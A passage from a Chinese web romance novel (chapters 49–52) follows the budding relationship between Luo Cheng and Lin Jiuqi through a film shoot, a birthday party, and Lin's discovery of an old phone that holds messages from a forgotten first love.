他一手搂着她,另一手轻轻捏着她的下巴抬起,他嘴角噙着笑,“偷亲我?”
洛澄撇开眼不敢直视他,结巴道:“我,我不是故意的。”
闻言,林久期低下头,又凑近她不少,他嗓音压低,近乎蛊惑般地再次开口。
“要不要换个位置亲?”
49. 第49章
“你是说,你初二的时候就回盐城了,然后去了林久期家,然后你俩差点亲上了?”
乔媛媛眼睛眯成了一条缝,“小洛澄,你到底还有多少事瞒着我?”
洛澄干笑几声,“没有了。”
她其实是不想跟乔媛媛说的。
只是那天——
“要不要换个位置亲?”
话落,洛澄整张脸不争气的涨红了,她的视线随着他的话,移向了他那张樱红的嘴唇。
明明以前都是她调戏他,现在还怎么反过来了?
她心里一直有个声音:亲下去。
洛澄脸颊绯红,眼神却毫不闪躲,她视线上移,对上林久期暧昧非常的目光。
她踮起脚,突然凑近,两人的鼻尖触碰到了一起。
林久期身体明显一怔。
洛澄双手抓住他的衣领,将他微微后撤的头又拽了回来,她唇角一勾,“躲什么?”
她声音很小,温热的气息扑在他的脸上,酥酥麻麻的。
洛澄就这么直勾勾地盯着他。
林久期的目光从她的杏眸逐渐往下,扫过小巧的鼻头,最后不偏不倚落在红唇上。
他喉结不自觉地上下滚动,莫名而来的燥热让他眼神都灼热了不少。
洛澄有些得寸进尺,“林久期,你怕了。”
她垫着的脚尖开始站不住了,林久期抱紧她,即使隔着衣服,洛澄仿佛都能感受到他沉稳有力的心跳。
林久期莫名有些口干舌燥,声音也沙哑不少,“我是担心你怕了。”
说罢,林久期另一只手轻轻捏住她的后颈,扣着她往自己的面前带。
他的脸愈来愈近。
就在两人的唇瓣快要贴合上的那一刹那,林久期的手机响了。
他依旧搂着她,摁下了接听。
“你在干什么啊久期,群里发消息不回,半天才接电话。”
“嗯——”林久期拖着长音,他低着头,声音带着几分勾人的意味,“在忙。”
他靠的很近,洛澄屏住呼吸,大气都不敢喘一下,生怕自己冒出什么动静被电话里的人听去。
林久期手机声音很大,大到洛澄能清楚听见对方说的话,甚至能听出来是范少杰的声音。
“我和黄谦在去你家的路上,你在家的吧,一会儿我们来接你去我的酒吧,大过年的,哥几个总得喝几杯。”
洛澄瞪大了眼睛,惊恐地望着林久期,眼里写满了“别让他们来”的意思。
林久期看懂了,可他忽而一笑,“好啊。”
好什么好啊?!
洛澄恨不得给他一拳。
她使劲推着她,她现在只想赶紧跑路。
可林久期哪能这么简单遂了她的意,她越是挣扎,林久期就抱的越紧。
林久期猛地将她腾空抱起,把她放坐在了一旁的皮质沙发上。
他拿手机的手抬高,另一手撑在沙发扶手上,弯着腰,附在她耳边低语,“你在乱动,我可要亲你了。”
洛澄最不喜欢的就是被人威胁。
她听闻后,一时间勇气倍增,心里地胜负欲燃了起来,双手一把环住林久期的脖颈。
林久期偏头看着她。
只要洛澄一扭头,她便能精准地亲到林久期那张薄唇。
高举的电话里传来呐喊。
“林久期!你有没有在听!”
林久期摁开免提,手机放在旁边的桌上,他依然凝视着洛澄,嘴上回答着范少杰:“在听。”
他神情暧昧,洛澄也不服输,同样盯看着他。
范少杰:“你是不是在睡觉啊?赶紧起来了,我们还有十分钟到。”
林久期伸手将她的发梢别在耳后,“知道了。”
他的目光所到之处都让洛澄觉得发烫,他现在这般模样太蛊惑人了,她想投降撤离,却又被他禁锢在这沙发上。
窗外一阵风吹进,洛澄鼻子一痒,她竭力控制,可还是没忍住,一声喷嚏打了出来。
电话里的人马上出声问:“久期你和谁在一起?”
范少杰在那头激动的不行,“老黄你听到没有,我听到有女人打喷嚏的声音,卧槽,怎么回事,林久期你到底在不在家?!什么情况啊,老黄老黄,我肯定没听错!”
范少杰咋咋呼呼的,“老詹,别睡了!林久期居然找女人了!林久期不当和尚了!”
黄谦调侃的声音传了出来,“久期,你在约会啊。”
洛澄双手紧捂住自己的嘴,林久期挑眉,他俯首逼近,“我在家。”
“卧槽你居然带女人回家?!”范少杰尖叫声刺耳的不行,“你背着兄弟找女人啊!”
洛澄越听越想走了,这要是等范少杰他们来,撞个正着,真的不知道该怎么解释。
他俩又没正式在一起,这孤男寡女的在林久期家里,太不像话了。
“喂喂喂,快点告诉我,你到底跟谁在一起?我们马上到了,带她一起喝酒啊!”
范少杰的八卦心思比女人的还重。
洛澄像拨浪鼓似的,一直摇着头。
林久期平日里温温和和的模样,这分钟看上去,却多了些许狡黠,他眉眼弯了弯。
“洛澄。”
……
“然后呢?你跟他们一起去喝酒了?”
“怎么可能。”
洛澄反驳,一想到那天的情景,她现在都还会脸红心跳,“我趁着范少杰他们没到,先跑了。”
“高,实在是高,林久期真是绝了。”乔媛媛忍不住拍手鼓掌,“我听黄谦说,那天詹江已也在,林久期可真厉害啊,就这么轻而易举的宣示主权了。”
洛澄瘪了瘪嘴,有种莫名其妙就上了林久期贼船的感觉,“主权什么,我又没答应跟他在一起。”
“小洛澄,你都去他家了诶,答没答应还重要吗?你这在别人眼里,你俩就是已经好上了。”
洛澄拿起一片面包塞进乔媛媛嘴里,“赶紧吃你的早餐吧,你不是说今天要开始拍你的毕业短剧了吗。”
-
三月的盐城已经开始回暖了,但室外温度依然不高,洛澄穿着毛衣都还瑟瑟发抖。
由于人手不够,乔媛媛请来了郑巧儿帮忙。
之前本是想让祁玖帮忙出演男主角的,但是祁玖因为还在海滨大学读书,马上就要博士毕业了,时间实在是抽不出来,加上林久期又提及了他愿意出演,于是便让他负责男主角了。
兜兜转转,还是他。
而詹江已却负责友情出演。
詹江已看着手里的剧本,“我怎么觉得这个男主角和久期你那么像啊?”
林久期浏览着剧本,他或多或少也这么觉得,他没说话。
洛澄听了心里警钟顿时敲响,她给乔媛媛使了个眼色,乔媛媛立马打着哈哈,“错觉错觉。”
怕詹江已继续深究,乔媛媛扯开话题,“我们开始吧。”
第一幕,男女主初次相遇。
取景是在盐城市一中,重返旧地,无数的回忆全回笼了,傍晚六点后的初中部是无人的,几人在空荡荡的教
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室里,洛澄站在门口,望着坐在窗边最后一排的林久期。
他读书时也最爱窗边了,无论是初中还是高中,一坐就是六年。
他穿着盐城市一中的校服,还是那件熟悉的藏蓝色,他的模样一如往昔,只是褪去了年少时的青涩,多了几分沉稳。
她是什么时候对林久期心动的呢?
她也不太清楚。
好像也是像今天一样,窗外的余辉闯入了教室,金灿灿的光洒在他的身上,勾勒着他五官分明的轮廓,他的脸有一半溺在光里。
那时候她才从食堂回来,准备晚自习,当时教室里只有他一人,他什么都没做,就静静坐在那里。
外面的天际是鲜艳的橙红色,她当时就觉着,眼前的一幕像一幅油画,漂亮极了。
洛澄回过神来,她整理好情绪,抬步走进教室。
她站在林久期的桌前,说着剧本里的台词:“你就是二班的周然?”
他眼皮都没抬一下,专注在自己的数学方程式里,声音清淡,“是。”
闻言,她吸了口气,颇为不悦道:“你为什么要去教导处举报我?我跟你有仇吗?”
对方没有说话,洛澄饰演的角色叫罗薇,是个脾气耐心都很差的问题少女,面对一言不发的眼前人,她的最后一点耐心也被耗尽了。
她一把扯走周然桌上的卷子,猝不及防下,笔尖在卷子上划了重重一道,卷子瞬间从中破了一条长长的口子。
周然那张俊气脸上看不出一点愤怒,他不温不火道:“作为高三学生,每天去网吧和酒吧本来就是不对的。”
“关你屁事啊。”罗薇随手把卷子扔在地上,她一把拽住周然的校服领口,“姓周的,你知道我是谁吗?你要是再多管闲事,别怪我对你不客气。”
周然平静道:“你是谁?”
“……”罗薇被气笑了,她冷哼一声,咬牙切齿道:“我是你爹。”
“咔!”乔媛媛走上前,“很好很好,不愧是专业的,这眼神,这表情,拿捏的非常好!”
洛澄刚才那副凶神恶煞的样子瞬间消失了,她松开林久期,刚才抓领子时她不小心力道太大,导致林久期的胸口撞在了课桌上。
“不好意思,刚才太用劲了,没弄疼你吧?”
林久期微笑道:“没事。”
洛澄这才放心,其余的三人在讨论运镜的事情,洛澄起身出了教室,轻车熟路的往卫生间去。
不知道为何,她心里有点难受酸涩。
是因为周围的这一切都太过熟悉了吗?
那些回不去的曾经,只有她一人还记得的过往,在脑海里像幻灯片似的不断播放。
洛澄洗完手,拧关上水龙头。
她刚出卫生间,林久期拉住她的胳膊,反身将她扣在墙上。
他个子极高,将她整个人笼罩在他的阴影下,他附身,两人的距离顷刻间拉近,他温柔的嗓音带着几分戏谑,“挺疼的。”
洛澄一头雾水,林久期牵起她的手,抚在了他的胸口处,“这里。”
洛澄这才明白,她歉意道:“对不起,我不是故意的。”
“道歉有用,还要警察干嘛呢?”林久期并不接受口头道歉,他垂着眸,眼神滑落到她两片胭脂般的红唇上。
“你想干嘛?”
虽是这么说,可看他的眼神,洛澄心里已经猜到这家伙八成又在调戏她。
林久期又靠近了几分,她僵着身子不敢动,只听他玩味地咀嚼着几个字。
“喊久期哥哥,就原谅你。”
50. 第50章
“……”
洛澄哑然,那天发生的糗事早就被她抛之脑后了,这会儿被这么一提醒,她尴尬的脚趾能抠出三室一厅。
林久期似乎并不在意她的面红耳赤,反而觉得是件趣事,心里萌生出一股想要逗逗她的想法。
“之前不是听你在你朋友面前,喊我久期哥哥吗?”他故意一顿,嘴角勾着好看的弧度,“喊声来听听。”
洛澄心里羞涩感愈发强烈,她恶狠狠地白了他一眼。
果真是男大十八变,没想到他现在这么不正经,这算什么,调情吗?
这十分烫嘴又恶心的几个字,居然被他当成了调情话?
见她不语,林久期轻挑眉梢,“怎么了,怎么不喊久期哥哥?是有什么心事吗?”
洛澄沉默片刻,咬牙切齿道:“林久期,该回去了。”
林久期没有一点要放过她的意思,他来了兴致,又凑近她几分,“喊一声,就放你走。”
温热的气息扑在脸上酥酥麻麻的,惹得洛澄心痒。
她的视线从他眉宇缓缓向下,落至在他薄唇上,唇红如樱,无形之中散着诱惑,让人忍不住想要亲上一口。
洛澄咽了咽口水,压下心底欲望的同时移开了视线,“林久期,别闹……”
话还未说完,走廊另一侧传来的说话声和脚步声是同时的。
“小洛澄,林久期,你俩掉茅坑里了啊?”
两人腻歪的画面直入乔媛媛的视线,她张了张嘴。
糟糕,她好像来的不是时候。
正当她准备找补开溜时,洛澄一把推开林久期,小跑着往她那边去,“媛媛,等等我。”
乔媛媛偷瞄了转过身面对她们的林久期一眼,他意味深长的眼神让乔媛媛不明所以,她随即压低声音,“你怎么慌慌张张的,他对你怎么了?”
洛澄挽着她的胳膊,“没什么,走吧。”
留在原地的林久期望着两人离开的背影,他鼻息间发出一声闷笑。
她害羞的样子,可爱极了。
-
五月。
春未尽,夏初临。
乔媛媛的毕业短剧已经全部拍完了,她整天就坐在电脑前剪辑视频,忙的焦头烂额。
乔媛媛不经意一抬头,恰好看见洛澄穿着白色连衣裙,化着全妆从房间里出来,她纳闷道:“打扮的这么好看,你今天有约会?跟谁,哪个野男人,林久期?”
相比之下,乔媛媛穿着一身卡其色小熊睡衣,扎着个丸子头,盘腿坐在阳台的桌前。
“你忘了吗,今天九七生日,让我们去参加聚会。”
乔媛媛这几连问让洛澄心生无语,她看了眼手机上的时间,已经是下午四点过了,“距离约定好的六点钟,从这里到湛江别墅区要半个小时,你还有一个小时的收拾时间。”
“啊?!”乔媛媛大叫一声,从椅子上腾空跳起,她一边嚷嚷着一边冲回房间,“你怎么不早说!”
-
湛江别墅区。
“久期,你好端端的,搬什么家?”
詹江已侧躺在一楼大厅的单人沙发上,一双长腿搭在沙发扶手上,晃来晃去的。
一想到昨天帮林久期搬家的画面,他这会儿都还觉得腰酸背痛,像是被人暴揍一顿,说是身子骨要散架了都不为过。
“就是。”
范少杰一边附和着,一边捶着自己酸痛的肩膀,他也是昨天“受害者”的其中一位,“之前那房子不是住的好好的吗,真不知道你是真想搬家了,还是想折磨哥几个。”
听着他们的抱怨,林久期微笑着给他们一人沏了杯茶放置在他们面前的茶几上,“这边比较方便。”
黄谦站在阳台处,望着周遭,“环境确实不错。”
范少杰不解,喝着茶水,“但是住哪里不都一样吗?融庭的房子也不差啊,干嘛大费周章的搬这边来?”
林久期温吞说着:“适合两个住。”
范少杰想都没想脱口而出,“谁要跟你一起住?”
另外两位,黄谦则是抿唇一笑,仿佛看透了一切。
而詹江已却是一声不吭,眼里的光似乎比刚才暗了些。
林久期没有接范少杰的话,想起自己手机落在了二楼书房,他转而上了楼。
湛江别墅是他赚钱以来买的第一套房子,那时候的他才二十岁,虽然环境不错,但总归是不在市中心,如果是现在的他,是不会选择这里的。
林久期也不清楚为什么当初的自己会买这里,只是脑海里浮现过一句话——
“想要住大大的的房子,推开门,能看到漂亮的湖泊。”
林久期望着二楼阳台外那片碧绿色的湖水,有些出神。
很奇怪,记忆中,他明明没有对任何人说过这句话,也没有听过谁曾讲过。
可这话却根深蒂固在脑海里,挥之不去。
似乎。
很重要。
重要到,这话像是有魔咒一般,让他第一眼看见湛江别墅时,毫不犹豫就买下了。
但买了这么久,一直没有住过。
不过常年都有请阿姨打扫,没有人烟气,可好在干净。
书房的地上放满了用纸箱子装着的书籍,昨天才得空搬家,还没来得及收拾。
林久期找了一圈,都没看到自己的手机。
他蹲下身,翻找着这些纸箱。
良久,他在其中一个纸箱的底部摸出一款非常有年代感的手机。
他凝了下眉,手机还是翻盖的。
正当林久期百思不得其解地时候,旁边门口传来黄谦的声音。
“我昨天帮你收东西的时候,在你书柜后面找到的,不知道你还要不要,就一块收来了。”
他问:“你找到手机了吗?”
林久期站起身来,“你给我打个电话吧。”
电话拨通,寻着铃声,手机落在了隔壁卧室的床头柜上。
林久期拿到手机的第一时间点开了微信,几分钟前,洛澄发来了信息。
【出发了。】
他当即回了一个【好】。
尔后,他的注意力再次被拉到了翻盖手机上。
或许。
在这手机里会有他失忆前的事情。
-
“也是让久期幸福上了。”
范少杰躺在沙发上,扫视着一屋子的气球鲜花,“哎,我的幸福又在哪儿啊?”
听着他话里一股酸味,黄谦冷不丁的开了一句:“怎么了,发情了?”
“老黄,你会不会说话,不会说话把嘴闭上,我这叫对美好爱情的向往。”
范少杰这话恰好被进门的檀冶听了去,檀冶慢悠悠地来到大厅,不经意发出一声嗤笑。
范少杰登即竖着眼,很难不看出对方这笑容里夹杂着的不相信和讽刺。
“檀冶你什么意思?你这态度,不知道的人还以为我玩的有多花,我可别抹黑我这纯情狼狗人设。”
黄
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谦到嘴的茶水险些喷了出来,他被呛着猛咳嗽好几声。
檀冶向厨房的方向走,顺带毫无情绪地抛下一句,“脑浆摇匀了再跟我说话。”
范少杰一个翻身从沙发上下地,指着檀冶刚要骂上几句,旁边一直默不作声的詹江已率先打断了。
“一会儿洛澄她们到了是什么流程?”
黄谦附和:“正常玩正常聚餐,时间到了切蛋糕。”
他说的十分简洁,虽说詹江已是为了扯开话题,但他也想再确认一遍流程,毕竟今天日子特殊,免得出错。
“久期不是要表白吗?”
他说这话时,心里泛着隐约的疼痛,像密密麻麻地细针扎在心头上,他给自己做了无数的心里暗示,可难受感,始终一分未减。
自己的好兄弟要对自己喜欢的女孩表白。
甚至他也非常明白,对方一定会答应。
而他,却是这场甜蜜时光的策划者加见证人中的一位。
詹江已忍不住苦笑一声。
这天底下应该没有比此刻更荒唐的事了吧。
“到时候把灯都关上,让洛澄来切蛋糕,老黄就偷偷把花给久期,我们就躲到一边,然后就是久期的浪漫告白时刻……”
林久期刚来到楼梯口,便听到范少杰他们的交谈声音,他敛了敛眸,忧虑宛如一层阴影笼罩在他的瞳孔上。
今天的事他计划了很久,可现在……
听着他们还在继续讨论,林久期深吸了一口气,走下楼。
“今天的计划暂停。”
林久期此话一出,在场所有人都一脸惊讶望着他。
檀冶刚把蛋糕放进厨房的冷藏柜里,出来便听到这出乎意料的话,他是在场人里面第一个反应过来的,“你搞什么,人都快到了,也给你布置好了,你现在又不表白了?”
詹江已的脸色有些沉,“你不会后悔了吧?”
林久期不知道该怎么解释刚才自己发现的一切。
他的脸色变得像窗户纸一样煞白。檀冶看出了端倪,拧着眉问:“你怎么了?”
林久期迟疑,片刻后也没正面回答他的问题,“总之先暂停。”
他看了眼时间,已经是五点半了,“我先去接洛澄。”
-
湛江别墅区三面环湖,夕阳西下,湖光滟潋,水波荡漾。
洛澄一下车就被眼前的一切所迷住了。
她望着阳光在水面上跳跃,她耳旁也灌满了风声,记忆被拉扯进了从前——
“姌姌,你以后想过什么样的生活?”
田野上,是无垠的金色。
芦苇轻摆,高粱摇曳。
看着眼前的麦浪起伏,她思考了片刻,才回答身旁少年的问话。
“想要住大大的的房子,推开门,能看到漂亮的湖泊。”
……
“我听黄谦说,这是林久期二十岁买的房子。”乔媛媛边走边感慨,“瞧瞧别人二十岁都自力更生买别墅了,我二十岁还因为偷喝家里牛奶被训。”
就在他们说话的同时,不远处穿着白色夹克的男人迎面走来。
洛澄眉眼弯了弯,加快了脚步。
身边乔媛媛刚要随着往前走,手里的手机却发出叮咚的信息提示音。
她点开看,表情从刚才的嬉皮笑脸,一下变得沉郁复杂起来。
她看了眼前方的林久期,又看回手机上黄谦刚发来的信息,她眉头紧锁。
【计划取消。】
51. 第51章
十分钟之前,别墅内——
在这手机里,或许会有他失忆前的事情。
想罢,林久期找了个适配的充电器,可能太久没用了,他捣鼓了半天,手机才得以开机亮屏。
手机上除了系统自带的软件以外,只有一个企鹅App。
他点了进去,进入到账号密码的输入界面,动漫人物头像下有一串企鹅号。
这是他的?
林久期盯着输入密码的空白处,思索许久,在里面尝试着输了几位数。
密码错误。
他凭着感觉,又输了一串密码。
19950523LJQ。
他点击登录,手机界面明显有几秒钟的卡顿,随后,跳转进了企鹅消息界面。
“……”
林久期愣怔了下。
居然成功了。
企鹅号里有且只有一位好友,显示离线状态,林久期点进对方主页,是个猫咪头像,没有备注。
他还来不及思考,兴许是常年未登录的原因,企鹅消息提示有延迟,突然之间,手机开始叮铃作响,一瞬间弹出无数条消息,都是这个昵称为月亮的不明人发来的。
林久期点了进去,刹那间呆住了。
清一色是对方发来的信息,林久期越看,眉头越紧。
他一直往上翻。
直到翻到一条时间是2013年7月12日凌晨12点的语音。
是他这边发出去的,一条十八秒语音。
林久期想点开的手指有一刻的颤抖和迟疑,心里油然而生一股莫名的紧张。他似乎找到了一些答案,可这份答案此时此刻却让他感到胆怯。
他做了很久的心理准备,旋即,他呼了口气,点击播放。
“祝你生日快乐……”
少年唱着生日歌。
“姌姌,生日快乐,还有,我喜欢你,你愿意做我的女朋友吗?”
语音结束。
林久期的身体因震惊而变得僵硬,他努力想要消化着这突如其来的一切,可他眼里布满了疑惑和不解。
这是他的声音。
那对方是谁?
这个时间,是高考结束的时候。
林久期继续往上翻,迫切的想要找到更多的答案。
可,以往的聊天记录里,不过是些日常寒暄,即使已经翻阅到了最顶上,他也只能从这些消息中得到一个信息。
这个人,和他同校。
林久期此刻的思绪如同一团乱麻,剪不断,理还乱。
姌姌?
姌姌是谁?
脑海里好像出现一个模糊不清的身影,林久期努力想要回忆起,想要看清这个身影究竟是什么模样。
可他越是试图回忆,脑袋越如同重物击锤,无法抑制的疼痛席卷着他所有的思绪。
头颅一阵阵撕裂般的疼痛,林久期软倒在地,他趴在床沿撑着头,额上渗出的冷汗直流。
林久期紧闭着双眼,意识逐渐模糊,痛到近乎昏厥。
而黑暗中那抹看不清的人影也渐行渐远。
“啪——”
清脆的声响拉回了林久期仅剩的最后一点意识,他虚着眼,不自觉侧眸看向掉在地板上的手机。
手机界面还停留在和洛澄的微信聊天框。
洛澄:【快到了。】
林久期咬咬牙,颤抖的身体也慢慢恢复了下来,像皮球样膨胀欲裂的头也终于缓和了不少。
他捡起手机,撑着床站起身子,翻盖手机放置在了枕头底下。
旋即,他往楼下去。
楼下交谈声清晰可闻。
看着一楼大厅已经布置好的一切,以及提着蛋糕来的檀冶,林久期觉得有些束手无策。
范少杰还在喋喋不休地说着今天的安排。
林久期脸上有些沉重,“今天的计划暂停。”
……
穿着白色连衣裙的洛澄迎面向他而来,黑色齐腰长发如瀑布倾泻而下,脸上漾着似乎比阳光还要明媚的笑意,她像是从天而降的仙子。
可林久期此刻的心里却是无比沉重的,他望着洛澄的眼神复杂难辨。
从企鹅的信息来看,他当年跟人家告白完就没人影,人家不会以为他是感情骗子吧?
他也不敢继续跟洛澄告白了,有种脚踏两条船,诡异的罪恶感。
不容林久期多想,洛澄已然来到了他身侧,“九七。”
他脸上的神色也自然而然地收敛,唇角勾出一抹淡笑,“走吧。”
乔媛媛一边跟在两人身后,一边在手机上疯狂输出。
【到底怎么回事?为什么取消?林久期他后悔了?】
【搞什么鬼啊!!】
【……】
别墅内的黄谦也是摸不清头脑,看着乔媛媛愤愤不平的信息轰炸,他也只能轻描淡写地说着自己也不知道。
其他几位的脸色也都不是很好看,尤其是詹江已的,再加上范少杰这个急性子,一直在旁边聒噪不停,说得他更是心烦意乱。
“怎么办怎么办他们马上就要来了,久期到底作什么幺蛾子,这临时临坎的也不事先和咱们商量……”
即使没人接嘴,范少杰也是自言自语的说了一堆。
檀冶被他吵得脑袋疼,他坐在沙发上翘着腿,轻揉着太阳穴,语气生冷,“吵死了,闭嘴。”
话刚落地,别墅大门被人从外推了开。
所有人一致看向门外。
几人变脸的速度也是相当之快,特别是刚才脸都皱成一团的范少杰,立马露出一个标准的微笑,“嗨洛澄,乔媛,好久不见啊。”
洛澄进门的第一眼就有些惊讶了。
这一屋子的气球鲜花。
这是要干什么?
告白吗?
不知道为什么脑袋里会冒出这种想法,很奇怪,但又让人觉得很期待。
她甚至下意识地望向林久期。
在感受到一股探究的目光时,林久期有些心生怯意,他假装没注意,将眼神瞥向了一旁,正巧与檀冶投射过来的视线相撞。
檀冶只是轻描淡写地扫了他一眼,转而耷拉着眼,打了个哈欠。
来庆生的人不少,陆陆续续的,别墅里又来了许多人,一下子就热闹了起来。
洛澄都喊的出名字,都是圈内的。
暮色降临,草丛中的蟋蟀也开始时断时续地叫着。
洛澄倚着二楼阳台的栏杆,俯瞰着院子里正在招呼朋友的林久期,他们端着酒杯,谈笑风生。
静静看着他,她醺醉的笑容在嘴角挂着。
像是察觉到了这如炬的目光,林久期顺势抬头,两人的目光就这么赤裸.裸地对上了。
了了几秒,他撤回了视线,与旁人说上几句话后,他随即往屋内去。
不一会儿,他便出现在了二楼阳台。
洛澄已经躺在了藤椅上,她双目紧闭,即使林久期来到了她身侧,她也丝毫未察觉。
眼见她脸泛红霞,神态慵懒的惹人怜爱,林久期忍不住伸手轻轻抚上了她的脸颊。
醉梦中的洛澄呢喃一声,她睁开眼,迷蒙地看着眼前的人,尔后,她撑起身子,尽量保持身体的平衡,可在酒精的作用下,她跌倒在人怀里。
林久期的心跳随之而然的漏了半拍。
“九七。”
林久期任由她就这么抱着。
“我好想你。”
话落,林久期的心脏像是被什么狠狠揪住一样,鼻翼间是她身上未消散的酒味。
听着她醉醺醺地说着这些话,他一声不吭。
“我喜欢你。”洛澄双手环在他腰间,抱得更紧了些,“喜欢你很久很久很久了。”
她说完,突然仰起头,在林久期没有任何防备之前,她双手搂上他的脖颈,顺势往下一带,主动吻上他略带凉意的薄唇。
“……”
唇瓣相碰,林久期有一瞬间的愣怔。
她嘴唇微微张着,露出的水润舌尖试探性地撬开了他的牙关。
恍惚间,林久期失去了所有的理智,他忘记了思考,本能地闭上了眼,一手扣住她脑后,另一
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手揽上了她的腰肢,他终于抵制不住诱惑,回吻着她。
楼下是一片祥和热闹,酒酽春浓。
至始至终都无人注意到楼上缠绵的二人。
亲着亲着,洛澄整个身子都软了下来,林久期睁开眼,她倒在他怀里,昏睡了过去。
林久期轻声叹口气,将她拦腰抱起,回了卧室。
-
阳光炙热,空气中弥漫着懒洋洋的气息。
洛澄一觉睡到了第二天晌午,她醒来时别墅内空荡荡的,无一人,昨日的一片狼藉也被收拾的干干净净。
“九七?”
洛澄唤了声,却无人应答。
她走去厨房,在餐桌上放着准备好的早餐,装三明治的餐盘下押着一张白色纸条,她抽出来看,白纸黑字写着——
【锅里有小米粥,趁热吃,我有事要出去一趟,你醒了给我发信息,我让刘俊送你回家。】
洛澄嘴角不禁含着笑意,嘀咕一句:“大忙人。”
然。
洛澄口中所谓的大忙人,正在檀冶家。
一帮人围坐在客厅的茶几前,盯着茶几中央放着的翻盖手机,若有所思,商量对策。
“所以你就是因为这个才不跟洛澄告白的?”范少杰叹气:“果然啊,初恋这种东西是最闹人心的存在。”
黄谦摸着下巴:“檀冶,你跟久期不是发小吗?你是不是知道些什么?”
范少杰:“对啊对啊,比如这个女孩是谁,她现在在哪,她当时和久期到底发生了什么?”
所有人把最后一丝希望都寄托在了檀冶的身上,一双双眼睛都盯着他,他冷不丁地说道:“我不认识。”
范少杰吐槽:“你俩到底是不是发小?这都不认识?假的吧。”
“爱信不信。”
檀冶不想和他争论。
他确实不认识林久期的这位初恋。
他和林久期是在六岁的时候,因为家里工作的原因在做一项慈善项目,刚好帮助了无父无母,在希望孤儿院生活的林久期。
两人的小初高都在不同的学校,而林久期也很少谈论学校的事情,檀冶向来也不愿意多问。
他唯一听过一次,是高三临近高考的一天,林久期突然跟他说起自己喜欢上了一个女孩,准备跟她表明心意了。
如果成功了,就介绍他们认识。
没过多久,林久期就出事失忆了。
这件事也不了了之了。
范少杰提议:“要不我们给这个人试着发消息,问问看?”
詹江已立刻制止:“不行,都这么长时间了,打扰别人不说,万一人家真的一直在等久期,那洛澄怎么办?”
黄谦:“我觉得也不妥。”
范少杰:“那我们就不管她,反正都这么多年了。”
檀冶挑唆道:“你的意思是让久期做一个不仁不义的人?”
范少杰大叫一声,无语至极,“这也不行,那也不行,那你们说该怎么办?!”
“这样吧。”黄谦想到一个办法,“我们创一个新号去加她,然后旁敲侧击一下。”
几人面面相觑,实在是找不到比这更好的办法了,索性都同意了。
林久期有些不明白:“我们为什么要这么做?”
范少杰解释:“当然是试探那姑娘怎么想的啊,知道那姑娘的想法以后,我们才能商量到底是选初恋还是选洛澄。”
范少杰刚说完,詹江已一巴掌就呼在了他的脑袋上,他还来不及反抗,只听林久期非常认真地说。
“我心里只有洛澄,况且她们有自己的意愿和想法,不该被哪来对比和选择。”
詹江已:“不管怎么样,我们先加,道歉也好赔罪也好,至少对于人姑娘的感情要有个交代,别让人苦苦受了委屈。”
说罢,几人三下五除二就弄了个企鹅小号,利索地添加了好友。
在他们全神贯注在企鹅号时,加的时间还没有三分钟,界面里突然弹出一条对话框。
【你们已成功添加好友,现在可以开始聊天了!】
52. 第52章
细密的雨丝在公交车站前织就了一片朦胧的雨幕,洛澄静静地伫立在站台之下,身姿在黯淡的天色与雨雾的笼罩中显得有些单薄。
不多时,那辆熟悉的公交车缓缓地驶入站台,车身在雨水中溅起微小的水花。
随着车门缓缓打开,洛澄微微抬起头,登上了车。
车厢内乘客寥寥无几,稀稀落落地分散在各处座位上。洛澄的目光缓缓扫过,最终在后排寻得一个空位。
她走去坐下,眼神不由自主望向窗外,车窗上是一道道蜿蜒水痕,她看出了神。
“叮咚——”
手机提示音拉回了洛澄的思绪,她掏出手机,微信里弹出一条新朋友的提示。
这是谁?
洛澄还是点了通过。
刚操作完,大约过了一两分钟,对面才发来一条“你好”。
可还没等洛澄回复,手机电量突然告急,紧接着就黑屏关机了。
没办法,只能把手机揣回兜里,等回家充电了。
直到下车,春雨丝毫没有要停歇的迹象。洛澄小跑着,匆匆忙忙地往家赶,一路上雨水打湿了裤脚和鞋子。
终于回到家,洛澄打开门,屋里静悄悄的,乔媛媛也不知道去了哪里。
只剩茶几上随意地放着一份吃了一半的外卖,包装盒敞着,筷子随意地摆在一旁,似乎走得很匆忙。
洛澄径直回到房间,将手机连上充电器。
随着手机屏幕亮起,好奇心像一只无形的手,迫使她第一时间点开了微信。刚一打开,几条未读信息便映入眼帘,眉头不由自主地紧了又紧。
【请问你有男朋友了人吗?】
【不好意思冒犯了,我只是想问一下。】
【我这边是情感咨询的,有位先生托我给你带句话:希望往后的日子里你一切安好。】
“……”
洛澄看着消息一头雾水,哪位先生?什么情感咨询?
粉丝留言吗?
洛澄怎么都想不明白,可还是礼貌性地回复了句“谢谢”。
刚发出去,门外就是一阵急促的敲门声,洛澄趿拉着拖鞋走到门口。
透过猫眼向外望去,乔媛媛抱着高高一堆快递站在门外,那堆快递摇摇欲坠,几乎挡住了她的脸。
洛澄赶紧打开门,一股冷风裹挟着雨水潮湿的气息扑面而来,乔媛媛侧身挤进门,嘴里嘟囔着:“也不知道都买些什么买这么多,让我好找。”
洛澄帮忙接过一部分快递,顺手关上门,“你是把整个快递站都搬家里来了吗?”
“我也不想,都是黄谦买的。”
乔媛媛说话时嘴角上扬着,脸上溢出的笑意藏都藏不住。
“凡尔赛。”洛澄拿起其中一个包裹,刀尖在胶带上轻轻一划,“晚上吃什么?”
“你今天没活动?”乔媛媛拿起一个稍大的包裹,费了些力气才打开,“去吃火锅吧,暖和。”
-
外面的寒风如冰刀般割着行人的脸颊,冰冷的空气似乎要把整个世界都冻住。
洛澄裹紧身上的大衣,和乔媛媛匆匆走进火锅店。
刚一推门,一股热气裹挟着浓郁的火锅香气闯入鼻息,瞬间将人笼罩,店内人声鼎沸,热闹非凡,与外面的寒冷形成了鲜明的对比。
“你好,请问几位?”一位店员迅速迎了上来,脸上带着热情的笑容,声音在喧闹中显得格外清晰。
“预定了的。”乔媛媛一边回答,一边从包里拿出手机,调出预订信息,将包房号展示给店员看。
店员看了一眼,点点头,然后在前面带路,穿过拥挤的大厅,七拐八拐地走向包房区域。
一路上,火锅的沸腾声、食客们的交谈声不绝于耳,各种食材的香气弥漫在空气中。
终于,店员在一个包房门口停了下来,抬手轻轻敲了敲门,然后推开门。
洛澄跟在后面走进去,却发现包房里面已经坐着其他人。
“嗨洛澄,乔媛。”
范少杰率先开口打招呼。
洛澄扫视了他们几人一眼,黄谦,范少杰,檀冶……
少一人。
范少杰仿佛看穿了她的心思,“久期去卫生间了。”
昨天亲吻的画面还在脑海里挥之不去,仅仅是稍微回忆都让洛澄面红耳赤,就在这时,包房门被人从外推开。
乔媛媛起身让座,还不时地投来打趣的目光和暧昧的笑容。
